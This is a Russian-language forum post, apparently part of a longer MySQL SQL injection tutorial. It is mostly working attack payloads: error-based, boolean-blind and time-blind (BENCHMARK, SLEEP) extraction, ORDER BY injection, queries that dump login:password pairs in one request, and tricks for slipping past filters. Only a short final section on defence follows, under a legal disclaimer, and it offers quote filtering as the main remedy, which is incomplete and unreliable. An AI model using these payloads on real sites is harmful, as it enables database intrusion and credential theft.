Показать сообщение отдельно
Старый 06.07.2010, 14:12   #3
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.

3.1 Вывод в отчете об ошибках
Более подробно можно найти в комментариях к статье Быстрый Blind SQL Injection (Qwazar)

Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула.

Минус данного способа - невозможность вывести свою строку длинее 64 символов за один раз (ограничение связанно с архитектурой MySQL), ну и естественно необходимость включенного отображения отчета об ошибках.

Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер)
Собственно вариант предложенный Qwazar-ом и Cr0w в дебрях указанного выше топика:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Недавно решил его немного рихтануть в сторону уменьшения и упрощения запроса, в итоге получился такой запрос:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([YOUR QUERY], FLOOR(RAND(0)*2), 64)
Теперь не выводится результат выполнения команды FLOOR(RAND(0)*2) в текст ошибки, и соответственно можно выдирать из базы 64 символа, а не 63, как это было в старом варианте.

Cобственно вот пример того как можно заюзать этот способ:
http://xxx/news.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) --

Как результат предыдущего запроса мы увидим ошибку типа:
Duplicate entry '5.0.45-community-nt' for key 1
Вот вам и вывод в тексте ошибок.

Ну а допустим если вам нужно вывести следующие 64 символа, то делаем это следующим образом:
http://xxx/news.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([BIGTEXT], FLOOR(RAND(0)*2)+64, 64)) --

3.2 Посимвольный перебор

Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит.

Как мы помним запрос к БД у нас выглядит так
Код:
SELECT * FROM news WHERE id='1'
Теперь мы его модифицируем через уязвимый параметр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '
Вот так:
http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --

Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=1
и выполняется точно также как и при обращении к скрипту http://xxx/news.php?id=1 а если код этого числа меньше то основной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=0
и выполняется точно также как и при
http://xxx/news.php?id=0

Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0') --
Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=200,'1','0') --
Вернулся 0 значит 100<= код символа <200.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=150,'1','0') --
Опять вернулся 0 значит 100<= код символа <150.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=125,'1','0') --
И снова вернулся 0 значит 100<= код символа <125.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=113,'1','0') --
Вернулся 1 следовательно113<= код символа <125.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=118,'1','0') --
Возвращается 0 следовательно113<= код символа <118.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=115,'1','0') --
113<= код символа <115.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1) =113,'1','0') --
Вернулся 0 значит код символа не равен 113.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)=114,'1','0') --
Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') --

И заново повторяем все предыдущие шаги.

3.3 Посимвольный перебор с помощью BENCHMARK

Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))
выполняется ооочень долго, и на основе задержек (нет, не пугайся, не тех задержек, что ты сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).

http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Запрос станет таким:
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --  '
И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.

Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:
http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) --

Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с
http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
который вернет 1.

Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.

ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.


3.4 Посимвольный перебор с помощью SLEEP
Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С 5 ветки MySQL появился оператор SLEEP().

По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только.

Как юзать? Все элементрано:
http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --

Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе.



3.5 Посимвольный перебор с помощью отчета об ошибках

Этот пункт написан на основе статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор Elekt, респект ему.

Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0, а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля, но ВКЛЮЧЕН(!) отчет об ошибках.
Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)
Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.
mysql_query():Subquery returns more than 1 row

Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) --  '
Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
Код:
SELECT 1 UNION SELECT 2
который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.

Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.


3.6 Иньекция в операторе ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.


4.ВЫВОД В ОДНУ СТРОКУ.

Довольно часто встречаются иньекции, когда данные из таблицы выводятся по одной записи. И приходится делать кучу запросов для того чтобы получить всю таблицу. Здесь же будут приведенны способы уменьшить количество запросов для получения таблицы или вовсе свести их к одному запросу. На данный момент(06.09.2011) публике известны только три способа (все остальные - лишь варианты основанные на этих способах, или я устарел?). Начну описание с самых геморных.

4.1 Цикл с помощью BENCHMARK
Идея состоит в том чтобы реализовать в запросе подобие цикла с помощью функции BENCHMARK, условия IF и переменных @var. Собственно перейдем к примеру запроса (он специально урезан чтобы можно было понять его суть):
Код:
1| SELECT CONCAT(
2|		CONCAT(
3|			@i:=(SELECT MIN(id) FROM user),
4|			@s:='',
5|			BENCHMARK(
6|				10,
7|				@s:=CONCAT(
8|					@s,
9|					(SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10|					'|',
11|					i:=(SELECT MIN(id) FROM user WHERE id>@i)
12|				)
13|			)
14|		)
15| ,@s)
Начнем разбирать этот запрос. Здесь мы инициализируем переменные @i (указатель на минимальный ID строки) и @s будущий буффер с данными.
Код:
3| @i:=(SELECT MIN(id) FROM user),
4| @s:='',
А вот и сам цикл:
Код:
5| BENCHMARK(
6| 	10,
7| 	@s:=CONCAT(
8|		@s,
9|		(SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10|		'|',
11|		i:=(SELECT MIN(id) FROM user WHERE id>@i)
12|	)
13| )
Цифра 10, как вы наверное догадались, это колличество иттераций цикла, т.е количество извлекаемых строк. А вот строка
Код:
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
извлекает запись из таблицы и с помощью CONCAT объеденяется с переменной @s.
Код:
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
здесь мы определяем следующий индетификатор и записываем его в переменную @i. Кстати индетификатор не должен быть обязательно числовым. Подойдет любой столбец. Главное чтобы в нем каждая строка была уникальна.

И в итоге получаем вывод в переменной @s. С идеей надеюсь вы разобрались. А для того чтобы было меньше гемора с составлением запроса я написал небольшой скрипт-помошник см. тут.

Плюсы:
- Вывод таблицы в один запрос
Минусы:
- Очень сложный и длинный запрос

4.2 Объеденение с помощью GROUP_CONCAT
Наверное уже все слышали про эту функцию. Не буду ходить вокруг да около. Вот так выглядит запрос к БД с использованием этой функции:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password)) FROM Users
Но! Единственный и огромный недостаток этой функции это ограничение в 1024байта(по дефолту) на количество выводимой инфы. Казалось бы что пользу извлечь не возможно. Но! Все же есть пара вариантов =)

Самый простой использовать какой нить столбец для сужения диапазона, к примеру:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users
Получили вывод длинной 1024байта:
Код:
1:admin:pass,2:lol:lolpass,[...],17:login:pass,18:trololo:passwo
Из вывода берем самую последнюю удачно-полученную строку, и из нее извлекаем индетификатор (В нашем случае это "17"), и подставляем обратно в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users WHERE id>17
и так даллее, ровно до тех пор пока не извлечется вся таблица.

Но что делать если в таблице нет столбцов с индетификаторами? На днях я придумал вот такую идею. Делаем запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users
Допустим получаем такой вывод:
Код:
admin:pass,lol:lolpass,[...],login:pass,trololo:passwo
Опять берем самую последнюю удачную строку и подставляем в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users WHERE CONCAT_WS(0x3a,login,password)>'login:pass'
И таким образом получаем следующий диапазон.

Кстати есть еще один минус GROUP_CONCAT, но о нем малок кто знает. Чем больше данных мы пытаемся объеденить за один раз, тем больше время выполнения запроса. Причем это время может быть довольно значительным. (На практике у меня один запрос к таблице на 500кк записей занимал около 40 секунд, выводилось в среднем 15 строк. Тогда как один обычный запрос занимал ~0.7 секунд. Т.е на лицо не рациональность подхода) Выход - ограничение диапазона с двух сторон, т.е.:
Код:
WHERE id>17 AND id<117
Эксплойты для автоматизации процесса см. тут.

Плюсы:
- Интуитивно понятный и короткий запрос
Минусы:
- Вывод НЕ в один запрос
- Тормоза при выводе крупных таблиц

4.3 Неявный цикл в условии (?)
В статье "Ускоритель MySQL-inj" profexer предложил, на мой взгляд, самый идеальный вариант вывода данных в одну строку.

Его идея заключается в том чтобы использовать переменную в условии WHERE и заставить MySQL писать в нее весь вывод.
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))x
Чесно говоря идея замечательная, но, имхо, реализация могла бы быть попроще. Зачем два вложенных друг в друга подзапроса? Не в обиду конечно) респект ему в любом случае)

Так вот. Пытаемся максимально упростить запрос. Пример шаблона:
Код:
SELECT CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C)), @p)
Все выводится отлично, но с лишними данными, (ничего критичного, результат определения переменной и выполнения подзапроса). Для тех кого смущает лишний вывод, добавляем CONCAT и усекаем строку до нуля:
Код:
SELECT CONCAT(MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C))),0), @p)
Не обязательно конечно, но так мы сможем скрыть вывод лишних данных.

profexer на основе выше сказанного, предложил запрос укоротить еще. Собственно, вот последний пример шаблона:
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
В итоге измененый вариант работает чуть быстрее чем оригинал. Тест выборки из таблицы 3к записей по 100 запросов:
Оригинал: ~0.6c.
Измененный: ~0.4c.

Плюсы:
- Вывод в один запрос
- Простой и короткий запрос
Минусы:
*Пока нету =)


5.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.

5.1 Фильтруется пробел
В данном случае можно попытаться воспользоваться несколькими способами.
5.1.1 Комментарии
Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. Пример:
Код:
SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#'
Можно воспользоватся аналогом этого комментария /*!*/ (см. ниже) содержимое которого будет выполнятся, пример:
Код:
SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
Небольшое отступление. Как ни странно, даже такой запрос выполнится правильно:
Код:
SELECT/*!**/FROM table_name
5.1.2 Пробельные символы
Помимо самого пробела есть еще несколько пробельных символов, которые MySQL воспринимает как пробел, это:
  • %09 – табуляция
  • %0A – символ новой строка
  • %0D – возврат каретки
  • %0B – вертикальная табуляция
  • %0C – символ новой страницы
Какой нибудь из этих символов может да и пропустит фильтр. Пример:
http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%0 9WHERE%09login='admin'#

5.1.3 Альтернативный синтаксис
Ну а что делать если все выше указанное фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру:
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'
Или
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT`login`,2,3,4,5,`password`FROM`Users`WHERE`login`='admin')#'
хоть в последнем случае нам и не удалось полностью избавится от скобок, но этот навык может вам пригодится в иньекциях через подзапрос где не нужно будет юзать UNION


5.2 Фильтруется символ/строка
Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
Код:
SELECT ASCII('*')
только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
Код:
SELECT CHAR(42, 42, 42)
Выведет три звездочки.

Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
Код:
SELECT HEX('admin')
Выдаст '61646D696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x61646D696E ' это юзать без CHAR() так
Код:
SELECT password FROM User WHERE login=0x61646D696E
5.3 Проблемы с кодировками
Часто бывает так, вот вы вроде нашли все столбцы, составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить.

Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию:
AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla')

Но! Какбе это уже не модно и очень громоздко, и я пару лет назад предлагал другую конструкцию, намного меньшую:
UNHEX(HEX([Ваш запрос]))

Как говорится все гениальное просто.
Ну и собственно пример того как это можно юзать:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,UNHEX(HEX(login)),5,6 FROM Users LIMIT 0,1 --




6.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL

Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Большой справочник языку SQL .

----------------------------
USER()-функция выводит логин юзера под которым мы подключены к MYSQL
DATABASE()-функция выводит название БД к которой мы подключены
VERSION()-выводит версию MYSQL
----------------------------
ASCII(str)-возвращает ASCII код первого символа в строке "str"
CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
HEX(str)-возвращает 16-ричный эквивалент строки "str".
----------------------------
LENGTH(str)- Возвращает длину строки "str".
LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
----------------------------
SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
SUBSTRING(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
MID(str,pos[,len]) - аналог функции SUBSTRING, но короче в три раза, может пригодится при ограничениях на кол-во символов.
MID(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
----------------------------
LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
CONCAT(param1,param2,...) -объединение подстрок в одну строку.
CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
----------------------------
IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
----------------------------
expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
----------------------------

Теперь о комментариях в Mysql
1) # символ начала комментария в MySQL. Пример:
Код:
SELECT pass,login FROM users #This is comment
что аналогично запросу
Код:
SELECT pass,login FROM users
2) -- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
Код:
SELECT pass,login FROM users -- This is comment
3) /* */ аналог комментария СИ в MySQL. Начиная с ветки 5.1(?) лафа заканчивается и для этого типа комментариев нужна закрывающая часть. Для MySQL индеинтична пробелу. Примеры:
Код:
SELECT pass,login FROM users /*This is comment
SELECT pass,login/*This is comment*/FROM users
SELECT/**/pass,login/**/FROM/**/users
4) /*!int */ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
Код:
SELECT pass/*!32302 ,login*/FROM users
Выведет столбец login если версия MySQL равна либо выше 3.23.02

7. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION

Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.

А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.

1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1

Последний раз редактировалось Dr.Z3r0; 06.09.2011 в 16:52..
Dr.Z3r0 вне форума   Ответить с цитированием